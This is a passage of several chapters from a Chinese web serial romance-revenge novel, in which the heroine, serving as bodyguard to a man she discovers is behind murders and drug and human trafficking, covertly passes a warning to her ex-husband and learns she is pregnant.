司氏在樱大的校董事会有一席之地,用时愿的身份去顶替姜梨的学籍这件事,应该是可以办到的,司南泽现在是司家人,他可以帮她。 “就这点小事,也值得让你跪?”司南泽看向她跪在地上的膝盖,问她:“如果换成是江淮之,你会对他这么恭顺,会下跪求他吗?” 姜梨弯着的脊背一僵,然后淡淡道:“我现在是杀人未遂的罪犯,只要能得到我想要的,就算是要给我那该死的妈下跪磕头,我也没得选。” “我答应先生当您的保镖也不只是为了求一个安生之所。我要复仇,我要金钱和权力。”姜梨抬起头,一双眼睛直直的望进司南泽的眼睛里:“求先生,疼我。” 最后一句话,她的声音都在颤。 可那双生的极其漂亮的桃花眼却依旧一眨不眨的看着他,直白又带着怯意。 像一朵娇弱的雪莲,极其的惹人怜爱。 这就是现在流行起来的一个形容词,叫做破碎感。 司南泽起身走到姜梨面前,将她扶了起来。 姜梨起来时跪在地上的那条腿,膝盖痛了一下,她的眉毛紧皱,双手抱住司南泽作为支撑才没有摔下去。 司南泽将她打横抱起,送她回房。 夏栎出来刚好看到这一幕,她有些愕然。 “夏小姐,麻烦你去跟管家说一下,让他去请家庭医生来一趟。” 司南泽清润的声音将她的思绪拉了回来,她点了点头,然后快速下楼去找人了。 “我下午就会让人去安排学校的事情。”司南泽拉过被子给她盖上,坐在了她的床沿边。 他像之前几次那样伸出了手,摸向那张心心念念的脸。他的手掌是凉的,贴上来的时候姜梨瑟缩了一下,但是没有再躲开。 “你对我卑躬屈膝,会让我觉得很不安。”司南泽摸了摸她的头发,“也会让我觉得寂寞。” 寂寞? 这不过是给自己找的一个好听的说辞而已,多半只是单纯的想女人了,想发泄一下罢了。男人为了伪装自己的目的,都会把话说的很可怜委屈。 姜梨心里是这么想的,嘴上也是这么说的。 “阿愿是这样想吗?” “啊?”姜梨僵住,才反应过来自己把心里默默吐槽的话给说出来了。 然后急切的跟他解释:“先生,我……我那个,我这是非常片面的想法!就大部分人是这样,但是我不是在说你!” 司南泽被她这个样子给逗笑了,“不用解释,你说的没错,我的确是在想女人。但是不是为了发泄,是单纯的想你。” 姜梨不知道怎么作答,选择当个哑巴。 好在司南泽没有继续这个话题,他提起了城 隍庙。 “晚上庙里会有花灯会,挺好看的,年轻人很多,明天你能陪我去看吗?” 司南泽去到哪里,她作为保镖也要跟到哪里。这场花灯会,当然是能和他一起看的。 姜梨答应了下来。 医生来的也很快。她的膝伤其实已经好的差不多了,只是前几天在水里泡了一会,又一直都在跑路。 今天天气不是很好,有些下雨,就有点犯病。除了针灸和药膏,也没有什么其他的处理方法。 “三天一换,不要受凉了。如果贴药膏的地方有泛红的迹象也不用太担心,只要不是特别的痒都是正常现象。” 姜梨都应了好。 下午司南泽不在司宅,走的时候给她和夏栎都留了新手机,她们走的时候没有带通讯设备。 姜梨紧绷的神经放松下来,和夏栎说了早上她听到的对话,还问她要了一包药粉。 将贴在膝盖上的药膏撕下来一些,将药粉洒在了皮肤上,然后再重新把药膏贴好。 夏栎看着她,没有阻止。 “以后,不管是他们让我们做什么,都不能犹豫。”姜梨严肃地说:“你现在走,还来得及。” 夏栎冷嗤:“我一个举目无亲的孤儿没有什么软肋,我怕什么?只要能给林遥报仇,哪怕是火坑,我也会跳。” “姜梨,这一次我不会再听你的躲起来了。” 她之前说过,要跟她同生共死。 第197章 不堪的真相 姜梨以前也经常逛灯会,不过是跟姜祈安一起,她哥一直都很喜欢古色古香的东西,爱逛灯会,爱看戏曲。 只是姜祈安去世之后,姜梨再也没有来过。 她今天扮成了樱花的样子。银发、红瞳、黑衣。 今天街上人多,这身打扮也不会被人认出来,就没有戴口罩。 花灯会穿汉服的很多,还有一些穿c服的coser,姜梨的这身装束和那一头银发在人群里也没有那么惹人注意了。 她和司南泽走在一起,后面跟着裴安和夏栎。 本来还有一个裴书的,不过他前两天去领了罚,好像伤得很重,不方便出门。 姜梨看着熟悉的建筑和各式各样的花灯,想到姜祈安有些意兴阑珊。 “吃吗?” 听到司南泽的声音,姜梨回过神来,顺着他的目光看了过去,是卖糖葫芦的商铺。 姜梨摇了摇头,闷声:“我不太爱吃糖。” 司南泽无奈笑了笑,没再说什么。 在准备要离开的时候,他还是让裴安去买了一串回来,递给了姜梨。 “心情不好的时候,吃糖能开心一些。”司南泽对她说:“日子过得再苦,也要自己找点甜头,让自己有点盼头。” 他说的这句话有些耳熟,姜梨总是觉得好像听谁说过。 来不及多想,她将司南泽手里的糖葫芦接了过来。 买的是山楂的,外面裹着晶莹剔透的糖衣,还能闻到一股极其香甜的味道,看着很有食欲。 姜梨咬了一个下来,山楂的酸和糖衣的甜在口腔里蔓开,味道是挺不错,但是吃多了就有些甜的发慌,剩下的她不想吃了。 刚想去扔掉,司南泽就已经把她手上的那串糖葫芦拿走了。 “先……”姜梨刚想开口阻止,但是他已经把剩下的咬进了嘴里,全部吃完了。 那是她吃过的。 司南泽注意到她的目光,淡声问:“怎么了?” 姜梨有点不自然的轻咳了一声,摇头说了句没什么。 一直跟在他们身后不远处的裴安和夏栎目睹了全过程,裴安全当看不见,倒是夏栎轻轻皱了一下眉。 裴安突然出声:“你跟着姜小姐来我们这,到底有什么目的?” 夏栎斜眼瞟了他一眼,然后说:“我是保镖,目的当然是保护雇主了。” 裴安偏头上下打量着她,他的眼神像狼的利爪,能一点一点撕开她的皮,去窥看她的灵魂。 她从小在孤儿院长大,各种各样不友好的眼神她都看过。能让她感觉头皮发麻、毛骨悚然的,裴安是第二个。 夏栎强逼着自己保持冷漠和镇静。 好在司南泽这时准备回去了,裴安撂下一句:“别动什么歪心思。” 就没再管她。 夏栎看着他的背影,松了口气。 —— 学校的事处理的很顺利。 姜梨以前的学分都已经修满了,她用姜时愿的身份提交了提前毕业的申请,接下来的这半个月她都在准备毕业论文。 最后顺利的拿到了毕业证、学位证。 她的手机是司南泽给的,新闻没有报道,姜梨也不敢去特地搜查江淮之的近况,怕上面装了什么黑科技。 此时的樱洲已经步入了冬季,大街上郁郁葱葱的树木也已经成了秃枝,很是萧条。 姜梨的情绪也开始不受控制的变得低落。 虽然司南泽去哪都带着她以及裴书和夏栎,但是姜梨的话茬一天比一天少,身上都笼罩着一股郁气。 这一天,司南泽要去暮色见个客户。 他接管的是司氏的影业,今天的这个客户好像也是某个娱乐公司的老板,是来跟他谈合作的。 这段时间司南泽已经是第四次来暮色了,每一次姜梨和夏栎都是守在门外等,裴书和裴安陪着司南泽进去,这一次也一样。 不过这一次面见的客人在看到夏栎时有些愣神,就忍不住多看她几眼。 夏栎也不知道是被人盯着看觉得被冒犯到了还是别的什么原因,一向没有什么感情波动的人今天在和那人对上眼神的时候居然有些愠怒,嘴唇抿得笔直,眼神冷的泛着寒光。 几人进去之后,男人坐下来问了一句:“门口那两个是你新招进来的?” 司南泽看了他一眼,应了一声。 男人笑了笑,摸着下巴说了一句:“果然泽先生痊愈之后,眼光如炬,收两个这么标志的姑娘留在身边。” “这两个人,其中有一个是樱花。”司南泽抬起桌上的酒杯晃了晃,轻声道:“夏总,樱花现在是我的人,别把你的脏手伸到她身上来。” 他的语气漫不经心,但看过来的眼神却满是警告和威胁,还有命令。 夏沉舟爽朗的大笑了几声,“从前总以为樱花是个男人,没想到却是个女娃。以前总觉得你是个杀人不眨眼的怪物,眼里只有仇恨和大业,没想到还能对女人感兴趣。如果今天沈叙有命坐在这,怕也是会惊掉下巴。” “你找 我,到底什么事?” “我听说,江淮之……哦不,现在应该是叫他韩野,已经从国外回到北城了。”夏沉舟的手肘撑着膝盖,对司南泽说:司承德和司承曜被他亲手送进监狱,断了我多少线路?后来沈叙和楚家也落到了他和叶家那两个小子的手里,更是让我们损失惨重,到现在都没有恢复。泽先生,这么几个定时炸弹,您不赶紧处理掉还要留他们多久?” “沈叙被抓,不也是您一手推波助澜的吗?泽先生,您下一步是不是打算把我还有底下的兄弟全部都卖个精光?” 司南泽背靠着沙发,长腿交叠,嗤笑:“沈叙会被抓是他自己蠢,与我何干?你们这些人做事到处留把柄,以前的韩二爷,一个南诗奕,后来的姜祈安,还有参与沈叙这件事的叶辞,全都是我摆平的。韩野现在是韩家大少,要是成功弄死他倒也没什么,要是没成,韩家绝不会这么轻易放过。” 姜梨听到这番话,脸“刷”地一下,变得苍白无比。眼睛蓦地睁大。 韩二爷,南诗奕,都是司南泽害死的?! 叶辞的车祸……叶辞的车祸,居然也是他做的! 姜梨的脑子突然想起来一个细节,后来每一次她和南诗奕见面,都是她从樱洲来北城。最开始她说要考樱大的时候,南诗奕满是欢喜,但是后来她总是会跟姜梨说,北城大学是第一学府,不一定非要来樱大。 南诗奕死后,姜梨总是会梦见她对着她喊:阿愿,远离司家的人。 结合司南泽知道她真实身份的事情,姜梨的头脑越来越清晰。 南诗奕可能是从司南泽身上知道了她的身份,随后又发现了司南泽贩毒的秘密。司南泽挑唆陆诗予这个疯子,逼死了南诗奕。 所有模糊的时间线和事件在这一刻都对上了轨道。 原来是这样,居然是这样! 陆诗予最开始染毒是司南泽的手手笔,她是他的棋子。他则是布棋、下棋的高手。 司南泽躲在背后,操纵自己手里的棋子杀死了南诗奕。事后,他旁观她对陆诗予下手,为她提供证据。他利用她,除掉了陆诗予这个已经没有用的棋子。 最后还邀功似的,用这些来作为讨好她的战利品。 恶心!实在太恶心了! 第198章 在牢狱中度过下半生 一个多小时以后,司南泽和夏沉舟才出来。 姜梨戴着口罩遮了大半张脸,没有人察觉到她脸色的异样。 临走时,夏沉舟意味深长的看了一眼后面低着头的夏栎,对司南泽说:“泽先生,合作愉快。” 直到他的车开远,夏栎紧握的手才松开,手心里沁出了一层冷,凉津津的。 裴书把车开了出来,正当他们要上车的时候,某个角落里突然窜出来一个女人,她手里拿着刀,非常有目标性的朝着司南泽捅了过来。 坐在车里的裴书大惊,“先生!” 就在刀子要刺到司南泽的身上时,夏栎及时捏住了她的手腕,而后摁住她的肩膀,把胳膊反扣到背后,压着她跪到了地上。 暮色的人流量不算少,这一幕惹得周围的人尖叫着往外躲,暮色里的保安也冲了出来,和夏栎一起制止住了那个疯女人。 前台已经报了警。 “司南泽!你害我爸爸锒铛入狱,还非法把我妹妹当成交易卖到了国外,你害我们傅家家破人亡,你不得好死!” 傅家? 姜梨一僵,她立即朝着地上的那个疯女人看了过去。 是傅雪。 她披头散发,一张脸因为爆瘦脱了相,眼窝凹陷下去,眼珠子却瞪的极大,极为可怖。 就像是千年的怨鬼,哪里还有当初傅家千金的影子? “司南泽!你装瞎装病,背地里却干着买毒贩毒、贩卖人口的勾当!你人面兽心,连畜生都不如!” 许多人都认出了傅雪,被她的话惊到了,他们看着司南泽的眼神都变了。 “司承德和司承曜不也是因为贩毒被抓了吗?司承曜是司南泽他亲爹,歹竹确实不太好出好笋……” “这话说的就太绝对了。北城太子爷是司承德的种,他怎么就是好笋?这几个人能伏法,还都有他一份功劳呢!” “害,人家身上还有一半是韩家的血,韩家有多厉害不用我多说吧?” “少说两句,不管是司家还是韩家,都不是我们能惹得起的……” 人群掀起轩然大波,一部分人在窃窃私语,更多的人只是在看热闹。 豪门的瓜是最炸裂的,也是最好吃的。 他们这些话清晰的落到了司南泽的耳朵里,听到江淮之的名字时,波澜不惊的表情出现了一丝裂痕。 那双看谁都温柔的眼睛划过一丝戾气,半垂的眼皮睁开,目光一寸一寸扫过人群中的每一个人。 就这么一眼,原本躁动的人群一下子静了下来,只有傅雪还在不断的咒骂他。 裴书想堵上傅雪的嘴,司南泽一个眼神就让他止住了动作。 一直到警车呼啸而至,警员给傅雪拷上了手铐,将她带上了警车。 被押上去的时候,傅雪撕心裂肺的吼出来一句:“司南泽,你不得好死!” 姜梨看着被强行押上警车的傅雪,大脑一直处于宕机的状态。 刚刚傅雪不仅仅提到了买毒贩毒,她还提到了贩卖人口的事情。 司南泽现在是司氏影业的老板,公司里有许多的明星小花,每天也需要去挖掘外貌条件优越的人进公司。 这样一对起来,姜梨就觉得傅雪很可能说的都是真的,司南泽在利用司氏影业干这些肮脏的勾当。 姜梨刚理清楚,突然觉得全身的力气都被抽走了,一下子晕了过去。 “阿愿!” —— 司南泽把姜梨从车上抱下来,夏栎也满脸担忧的跟在他身后。 家庭医生已经提前等着了。 夏栎帮她摘掉了假发,换上了睡衣,这才让司南泽带医生进来给她诊疗。 姜梨的脸色非常难看,唇色雪白,身上在冒虚汗。 医生给姜梨量了体温,并没有发烧。又做了体格检查,也没有任何外伤。 撕掉姜梨膝盖上的药膏,那一片皮肤上都是红疹和破皮。从药箱里找出来软膏,一边涂抹一边交代:“这个膏药不要再贴了,过敏很严重。” 医生的手搭到姜梨的手腕上,给她把脉。 他的眉头微皱,对司南泽说:“她这两天的情绪不好,肝气郁结、失眠多梦,所以才导致突然晕倒。多出去走动散散心,好好休息就能调整过来。” 他突然喊了一声司南泽,“四少爷,我的建议是带小姐去看一下心理医生。” 司南泽轻轻擦掉姜梨额头上的汗,轻轻嗯了一声。 所有人都撤了出去。 床头点上了助眠的熏香,姜梨依旧睡的不安稳,好看的眉毛拧在一起,额前的碎发都被汗水浸湿了。 过敏肯定不是这两天才过敏的,是她一直都没有说过。司南泽没有亲自给她贴药膏是因为姜梨非常抗拒他,满脸都写着“别碰我”这三个字。 她心情不好司南泽不是没有感觉到,但是她什么也不愿说,也不愿单独和他多待哪怕几秒。 他之前不止一次的遇到过姜梨,那个时候她在韩野的身边。她会跟他吵架,会跟他发脾气。会娇滴滴的跟他撒娇 ,会开心的笑,会委屈的哭。 每一次,他都嫉妒的要发疯。 好不容易,她终于回到他身边了,却失去了光彩,阿愿在他的身边并不快乐。 她不会像对韩野笑那样对他笑,也不会对他诉说任何心事,就连身体不适都不愿意告诉他。 可明明最先认识阿愿的人是他,她以前也是会对他笑的。而现在,他的阿愿对他很疏冷,她满心满眼都是韩野。 就像今天那些乌合之众说的,他不如江淮之,不如韩野。 如果不是因为这些乌合之众,他的人生又何至于此,韩野又算个什么东西!? 司南泽陷入回忆,他的神色越来越阴郁,沉的似乎要滴水。 站起身,替她盖好被子,关上灯以后走出了卧室。 把裴书叫到书房。 “准备律师函,起诉。” “是。”裴书跟在他身边已经十几载,不用问也知道司南泽要起诉谁,又是什么罪名。 傅雪这个蠢妇今天如果不是在警局,他们哪里还用得着费这个时间和精力去跟她讲法律,讲道理? 她接下来的日子,都要在牢狱中度过了。 司南泽眸色晦暗:“裴安最近不在,聿言也在港城,叶家那边你继续盯着,找机会补刀,除掉叶辞。” 裴书:“夏沉舟今天话茬不对,他要怎么处理?” “他留着还有用,不用管……” “啊——!” 话音刚落,他就听到了姜梨的尖叫声,以及玻璃碎裂的声音。 司南泽脸色骤然一变,大步流星的朝着外面走。 阿愿! 第199章 我只相信我自己 夏栎就住在隔壁,最先赶到。 她推开门进去,走廊的灯洒进房间,看到的是姜梨双目空洞的瘫坐在地上,垂下来的右手鲜血淋漓。 窗户的玻璃碎了一块,碎玻璃上还沾着血。 夏栎连灯都来不及开,赶紧跑过去把她扶起来,冲着门外大声喊:“来人!来人!叫医生!” 姜梨神色木讷,嘴唇一张一合的重复着:“韩聿泽……韩聿泽……” 司南泽看到这一幕,心脏都要骤停了。 他迅速把姜梨从夏栎怀里捞过来,抱起来就往外走。 裴书见状也立马跑去开车。 这个出血量有些大,伤口很深,需要去医院做紧急处理。 出血的那只手司南泽给她缠上了纱布,可以止住一点血,已经被血迹浸透,变得斑驳。 她没有昏迷,但是就像丢了魂,不管司南泽怎么喊,她都不应,一直在喃喃:“韩聿泽……” 司南泽摸着她的脸,应了她一声:“我在,我在这。” 这几天姜梨不对劲裴书也看在眼里,更何况她现在的状态真的很不对劲,跟古装剧里说的失心疯没有任何区别。 他也没心思再去怀疑什么,直接一脚将油门踩到了底,不管红绿灯,直接闯了过去。 十五分钟后,他们到了医院。 幸运的是并没有伤到筋脉,做了清创缝合,一共缝了七针。 本来是要在医院住一晚观察一下的,但是这不是自己的地盘,司南泽怕出意外,还是将她带回了司宅照看。 她原来的房间已经不能睡了,司南泽就把她抱到了自己的卧室。 快天亮的时候姜梨迷迷糊糊醒了一次,她费力的睁开眼睛,看到了司南泽。他坐在床边,眼里有淡淡的红血丝,眉毛紧蹙。 姜梨的嘴唇动了动,她想喝水。 司南泽用吸管喂她,喝了小半杯,之后又昏睡了过去。 第二天中午,姜梨才彻底清醒过来。 一扭头就看到了趴在床边,眼睛紧闭的司南泽。长睫压下来,眼下落下一片黑影,还有一层淡淡的青灰色。 今天的天气依然不好,在下大暴雨。 姜梨下床,拿起旁边的一床毛毯,轻轻搭在了司南泽的身上。 手刚收回去,就被醒过来的司南泽一把捏住了手腕,声音低沉又沙哑:“你做什么?” “你体弱,我怕你冻感冒了,给你盖被子。”姜梨的手往外挣了一下,好看的眉毛皱了一下,“你弄疼我了。” 折腾了一晚上,她的脸白的几近透明,唇色雪白,像极了漂亮又易碎的瓷娃娃。 司南泽松开她的手腕,腕骨的皮肤红了一片,他明明没有用多大的力。 “躺好。”他拍了拍床铺,姜梨走过去坐到了床边。 司南泽问:“怎么不叫先生了,也不喊您了?” 姜梨低着头,沉默了一会儿她才说:“我昨晚做了个梦,想起来了小时候的一些事情。我知道你是谁,也知道该喊你什么。” 她失忆的事情,司南泽是知道的。 他问:“你该喊我什么?” “………”姜梨看了眼司南泽,抿了抿唇,极为小声的喊了一声:“小叔叔。” 韩聿泽的爸爸是韩老爷子的二弟,他是韩老爷子的小侄子,辈份跟韩斯年他爹是一样的。 虽然他的年纪比江淮之还有韩斯年大不了多少,但是他们都得管他叫小叔叔,她肯定也要跟着这么喊。 “你昨晚没有这么叫。” 姜梨:“小叔叔那是小时候长辈们教的,我现在要是还这么喊,别人会以为你是个禽兽。” 司南泽被气笑了,“这是个什么理?” 什么理? 姜梨抬起手微微挑起他的下巴,“韩聿泽,你不喜欢我吗?” 她的动作极其轻浮,很像风流成性的渣女。 那双桃花眼,此时此刻,柔情又妩媚,勾人魂魄。 司南泽突然凑近她,极轻的在她唇上碰了一下。 触感比他想象的还要软,像果冻。 姜梨的瞳孔微缩了一下,身体骤然紧绷起来,睫毛不断地颤动,像蝴蝶的翅膀。 司南泽松开她,嗓音清润,“喜欢你。” 过了许久姜梨才反应过来,毫不犹豫的缩钻了被窝里,当鸵鸟。 “我叫夏栎进来帮你换一下衣服,吃完饭去一趟你以前看过病的那个中医馆。”司南泽看着躲在被子里的人,唇角止不住的上扬。 听到门关上以后,姜梨才从被子里出来。 眼神里的柔情消失的无影无踪,冷的像极地的冰川。 很快,夏栎就带着干净的换洗衣物进来了。 不管是受伤的时候还是缝针的时候姜梨都没感觉到有多疼,但是现在她是真的觉得非常痛,穿衣服的过程里免不了会蹭到,疼的她“嘶嘶”抽气。 “你要搞什么名堂,把自己弄成这样?”夏栎压低声音问她。 姜梨没有回答她这个问题,而是反问她:“你认识夏 沉舟,就是跟司南泽谈合作的那个男人。” 夏栎动作一僵,“怎么了?” “他对你有想法。”姜梨说出自己的猜想:“可以说他对所有长得有点姿色的妙龄姑娘都有想法。我怀疑,他们娱乐公司里的女明星,不是瘾君子就是……总之就是在干违法犯罪的勾当,而且还在贩卖妇女。” “你怎么知道的?”夏栎震惊不已。 姜梨指了一下自己的耳朵,“那天他们在暮色的谈话我都听到了。” 夏栎的手下意识捏紧,“你要偷偷告诉警方吗?” 姜梨摇头,“他们这种人一般都会非常谨慎,我们没有证据。一会儿司南泽会带我去宋枝的中医馆,我会找机会把纸条传给她,让她去给江淮之报信。让他去查,找证据。” 夏栎看姜梨的眼神都变了,像看鬼一样盯着她。 “所以你给自己下痒痒粉就是为了方便给宋枝通风报信吗?司南泽明明就知道那个中医馆是江淮之带你去过的,你怎么知道他一定会带你去?” 姜梨讥讽的勾了勾嘴角,“我一开始的第一人选根本不是宋枝,而是洛骞。我都已经作成这样了,司南泽也没说带我去看心理医生,司南泽不会给我去找洛骞的机会的。我当时下痒痒粉不过是一条退路罢了,找不了洛骞,找到宋枝也是好的。” “一个罪犯,疑心病不重才是见鬼。我也不想去赌什么真心,我只相信我自己。” 除了姜祈安和江淮之,她只相信她自己。 第200章 她祝他新婚快乐,百年好合 雨还在下,车子在柏油路面上行驶,车轮轧过去溅起来漂亮的水花。搜索本文首发: 打开它小说网: 司南泽和姜梨坐在后排,他捏着姜梨左手的小拇指,似是随意般的问她:“你除了梦到我,还梦到别的人了吗?” 雨点打在车窗玻璃上,发出噼里啪啦的响声,外面一片白茫茫,雾气缭绕。 “太多了。”姜梨扭头看着窗外,一字一句的说:“我哥,阿南姐,叶辞,林遥,江淮之,还有楚云。死人,半死不活的人,以及最该死的人,我都梦到了个遍。” 她的语速很慢,所以听着没有什么情绪,但是言辞是偏激的。 司南泽不知道想到什么,他垂下眼皮,长睫半遮住眸子,隐去了一闪而过的笑意。 今天开车的不是裴书,而是司宅的管家。 姜梨眼珠转了一下,转了一个话题,问他:“傅绾那天说的话是什么意思?” “我已经起诉她了,诽谤罪。”司南泽回答的很巧妙,他牵过姜梨的手,捏着她的小拇指,淡淡道:“律师已经在谈了,她会坐牢。” “哦。”姜梨淡漠的应了一声。 让姜祈安丧命的那场火灾是大案件,社会影响非常大,傅家也有参与调查。 司南泽罪大恶极,他们傅家也绝不干净。 现在这个结局,也是咎由自取。 事情闹的这么大,警方却没有抓傅绾和傅雪两姐妹,她们是真的无辜。 一个下落不明,一个即将面临牢狱之灾。 姜梨没有同情,只有痛快。 他们傅家助纣为虐,害她家破人亡的时候可没有同情她。 …… 中医馆只有宋枝的身影,跟前几次一样,她一个人在药柜前称药。 她今天没有戴口罩,所以宋枝一眼就认出来她了。 宋枝惊愕的看着她,又去看她旁边的司南泽,一时间有些混乱。 姜梨假死的事情她是知情的,毕竟后来她还给她寄了药膏。不过姜梨回樱洲的事情她并不知道,她跟外界的人一样,都以为她在国外疗养。 现在是怎么个事?她怎么和司家的四少爷在一起? “宋枝姐姐。”姜梨大大方方的喊了她,然后说:“我来这看一下膝伤。” “好,你跟我来。”宋枝回过神来,刚下手里在忙的事情,领着姜梨朝里走。 司南泽看宋枝把姜梨带到了里面摆放的一张病床前,只拉下一层蓝色的帘子做格挡,没有说什么。 今天是暴雨天气,折腾了一段时间,姜梨的膝伤比她初次来看的时候还要严重。 “太肿了,复发很严重。光贴药膏肯定不行了,要做针灸。”宋枝重重的叹了口气,站起来准备去拿治疗要用到的东西。 姜梨不动声色的拽了一下她的袖子,随后把藏在袖口里的一张纸条放到了她白大褂的口袋里。 宋枝顿了一秒,接着若无其事的拉开了帘子,去准备针灸要用到的东西。 针扎进去的时候很痛,姜梨倒吸了好几口凉气,她问宋枝:“姐姐,针灸要做很多次吗?” “嗯,每个星期都要来。”宋枝扎完最后一根银针,扶着姜梨平躺到床上,打开烤灯对着她的膝盖,“二十分钟就可以了。” 等姜梨治疗结束,司南泽带她离开以后,宋枝才敢拿出口袋里被折成一小片的信纸。 “麻烦宋枝姐姐你转告江淮之,司南泽和夏沉舟在以娱乐公司签署艺人为挡箭牌,实际在贩卖妇女,逼迫、引导男艺人违法犯罪,以此赚取暴利。我的近况不必告知,提醒他万事小心。” 宋枝捏着信纸的手都在颤抖,她看完之后立刻就将信纸烧毁了,而后拿出手机拨通了江淮之的电话。 一连打了三次,第四次的时候才接通。 宋枝直奔主题:“司南泽和夏沉舟在贩卖妇女,甚至在引诱、逼迫公司内的男艺人违法犯罪。” “她去你那了?”江淮之的声音嘶哑的吓人。 “嗯。”宋枝说:“和司南泽一起来的。” 江淮之:“知道了,挂了。” 北城和樱洲一样,也在下着大暴雨。 谢铭来的时候江淮之也起来了,他坐在书房的椅子上,修长的手指快速敲击着电脑键盘,面无表情的处理工作。 “大少爷,您刚退烧,还需要静养……”谢铭有些担忧的看着他。 江淮之从医院醒过来以后,根据钻戒上的定位器得知她在澳城,一刻也不停的就赶了过去。 人没找到,倒是在一家商铺找到了那枚被姜梨押在那里的戒指。 经理拿出戒指盒交给他的时候,说了一句:“那位设计师小姐让我给您带句话,祝您和您的夫人新婚快乐,百年好合。” 回港城之后,韩斯年要联系警方发出通缉令,全国逮捕姜梨。江淮之因为这件事情,和韩斯年大打出手。 又导致伤口二次撕裂,反复感染发烧。 刚好两天,回到北城又碰上降温,又烧一场。 江 淮之捏了捏眉心,对他说:“暗中盯住夏沉舟。” 谢铭想了好半天才想起来夏沉舟这号人物,是樱洲夏家的老大,陆家跟老二有合作。 夏家在前几年的时候就已经开始没落了,近两年在陆家的帮助下势头很猛,但是不知为何还是一直在走下坡路。 “是,大少爷。” ……… 医院里,姜梨坐在诊室外的长凳上,眼睛看着电子屏幕发呆。 裴安和夏栎守在她身边,等还在诊室里询问医生的司南泽。 “她防备心很重,我什么都问不出。”医生看着手里的检查报告,对司南泽道:“您说她被催眠过,现在也开始在慢慢的想起来一些事情。嗜睡和头疼应该是产生的副作用,情绪的话还是跟她双相情感障碍私自断药有关。加上步入冬季了,季节会导致情绪低落。” “我给她开点药,调整一下吧。” 司南泽应了一声。 姜梨站起,朝着洗手间的方向走,裴安一步不离的跟在她身后,站在门口等。 “我怀孕了,准备流掉了。” 洗手的时候,姜梨突然听到了隔间里打电话的声音。 “我已经两个月没来月经了,今天医生问我才想起来,刚刚开了检查,已经六周了。我不知情,一直在吃抗精神药和安眠药,这个孩子肯定不能要了。” 听到这里,姜梨也突然想起自己十月和十一月都没有来月经,顿时如遭雷击。 她和江淮之后来好多次都没有措施。 姜梨六神无主的走出洗手间,腿软的差点来个平地摔,好在裴安及时扶住了她。 “姜小姐?” 姜梨稳住身形,晃了晃脑袋,对他说:“没事,就是有点头晕,走吧。” 第201章 他又没有死 司南泽按照药盒上的贴着的标签抠了几粒药片出来递给姜梨。搜索本文首发: 小说皇 他说:“你说想进星爵娱乐的事我同意,但是得等你手伤好了再入职。你刚毕业,就跟裴安和裴书一样进秘书部,当我的助理。” 姜梨点头,看着手里的一把药,厌恶的皱了皱眉,“我不想吃。” 这一点,司南泽自然不会让她胡来。 从许多年前开始,他就已经查阅过相关的文献了。双相情感障碍也被称作是躁郁症,不听从医嘱吃药的后果是非常严重的。 生理、心理都会非常痛苦,直到结束生命。 司南泽看着她,语气难得严肃:“不可以。” 姜梨抿了抿唇,极其不情愿的把药吃了下去。 “张嘴。” 姜梨仰头“啊”了一下,配合的让他检查。 司南泽看了眼时间,已经九点了。她在医院的时候就已经犯困,现在也是一副眼睛都要睁不开的状态。 他抬手摸了一下她的发顶,亲了亲她的眼皮,“睡吧,晚安。” 走时司南泽关了灯,卧室里顿时变得一片漆黑。 听着他的脚步声越来越远,确认他不会再进来,姜梨爬起来直奔浴室。手指直抠嗓子眼,把刚刚吃下去的药片都吐了出来。 她现在还没有测,但是她偷偷查了资料,应该是八九不离十了,这些药肯定不能吃。 —— 司南泽这两天不在樱洲,出差去杭城了。 裴书和夏栎和姜梨一起去中医馆做针灸。 扎针的功夫,夏栎出去了一趟。裴书看着她离开的背影,又看了看姜梨,抿了抿唇,还是没有跟上去。 夏栎没去多久,十多分钟就回来了。 “去哪?”裴书问。 “最近食欲有点不太好,还有点拉肚子,”夏栎晃了晃手上拎着的一袋药,“买点药。” 裴书看了眼药盒上的名称,都是常见的肠胃药,于是选择闭嘴当个哑巴。 夏栎斜睨了他一眼,“我怎么去哪你都要问几句?你是闲的蛋疼想当妈了?” 对于她的冷嘲热讽,裴书倒是没什么太大反应,反正他这两天已经被她怼的麻木了。 骂又骂不过,打又打不得。 就没这么憋屈过。 夏栎这人话不多,看着高冷的很,实际上长了一条淬了毒的舌头,一张嘴说话就能把人毒得半死不活。 裴书被骂多了之后,对她的称呼从夏小姐变成了毒妇。 半个小时以后,针灸治疗结束。 姜梨这次什么也没跟宋枝说。 回到司宅。 夏栎进了姜梨的卧室,把刚刚在药店买的验孕棒给了她,“早上测会更好。” 这是姜梨拜托夏栎去买的,买了两支。 姜梨接过来,放到了床垫底下,有气无力的道了声谢谢。 她这两天的食欲很差,一直反胃呕吐,消瘦了不少。 夏栎没有马上离开,斟酌了一会,她把从裴书那里偷听到的话告诉了姜梨,“楚云……要把姜氏卖给韩家的韩聿言,下个星期举办发布会。我觉得,楚云是想携款逃跑了。” 她已经知道这个消息好几天了,但是姜梨状态不好,她没敢说,怕刺激到她。 果不其然,姜梨的表情一瞬间就变得僵硬难看起来。 姜氏如果卖给韩聿言,恐怕就跟司氏的星爵娱乐一样,沦为他们买毒贩毒工具。 害死自己亲儿子还不够,还想把他的心血送给仇人,楚云这个丧心病狂的疯妇! 现在局势动荡不安,楚家已然倒台,楚云钱挣够了就想撒手逃跑,去过她的安逸日子。 她做梦! 姜梨闭了闭眼,“这件事情我来想办法,消息还没放出来,你先不要告诉沈翊,他现在脑子不清醒。” 夏栎点了点头。 第二天的中午,浴室。 姜梨盯着手中的验孕棒看了许久,心脏跳的飞快,手都开始颤抖了起来。 猜想是一回事,确认事实又是另外一回事。 半晌,她才将心情平复下来,将手中显示两条杠的验孕棒丢进了马桶冲了下去。 结合最后一次生理期的时间推算了一下,应该是婚礼前两天的那一次。现在是十二月初,已经快两个月了。 三四个月的时候就会显怀,到时候肯定瞒不住别人的眼睛。她在司南泽身边待的越久,就越危险。 必须要快一点了。 —— 拆线的时候是司南泽安排家庭医生操作的,没有去医院。 伤口愈合的很好,留下的疤痕很浅,抹一段时间的药就看不见了。 姜梨看着窗外的大好晴天,对司南泽道:“今天天气好,我想去医院一趟,看看叶辞。” 司南泽的手指僵了一下,抬头对上姜梨的眼睛,然后摇了摇头:“最近流感肆虐,医院的病人很多,你不适合去那种地方。” “我想去。” 姜梨又重复了一遍。 “樱洲好玩的地方有很多。游乐园、艺术馆多的是,也可以去东方明珠,还能看个夜景。”司南泽走到她面前,抬手摸了摸她的头发,温言:“上次不是说要去看你哥哥吗?今天可以去。” 他的长相本就不凌厉,低眼看她的时候会显得更柔和。 清风霁月、和颜悦色、柔情似水。 